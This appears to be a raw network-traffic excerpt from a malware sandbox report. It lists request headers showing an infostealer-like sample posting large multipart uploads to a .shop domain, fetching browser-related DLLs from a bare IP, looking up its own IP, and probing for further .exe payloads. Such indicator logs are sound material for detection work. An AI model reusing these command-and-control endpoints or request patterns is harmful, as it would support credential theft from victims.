Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 379739Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 13630Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5433Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1536Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 41915Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGDHJDHDAFHJJKJEHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIEBAFHJJDBGCAKJJKFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 7445Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59If-Modified-Since: Fri, 24 May 2024 10:18:21 GMTIf-None-Match: "6650696d-258600"Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHIJEHJDHIDHIDAEHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDGDAKFHIEHJKFHDHDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 13630Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 13630Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 13630Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5433Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 13630Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1414Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5433Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5433Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5433Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 574349Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1391Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1391Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1391Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 572795Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 572795Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 572795Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 13630Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5433Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBGCBGIDHCBGDHIEBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1401Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHJEGIIDAECAAKEBKFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 572795Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHIJEHJDHIDHIDAEHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEBGHDBKEBGIDHJJEHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 453Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 115129Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 13630Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDAFIJJECFHJJKFCAKJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 65.109.242.59Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5433Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1393Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 575227Host: employhabragaomlsp.shop
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 85.192.56.26
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 113Host: 85.192.56.26
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 133Host: 85.192.56.26
Source: global traffic	HTTP traffic detected: HEAD /download/123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /o2i3jroi23joj23ikrjokij3oroi.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 91.202.233.232Cache-Control: no-cache
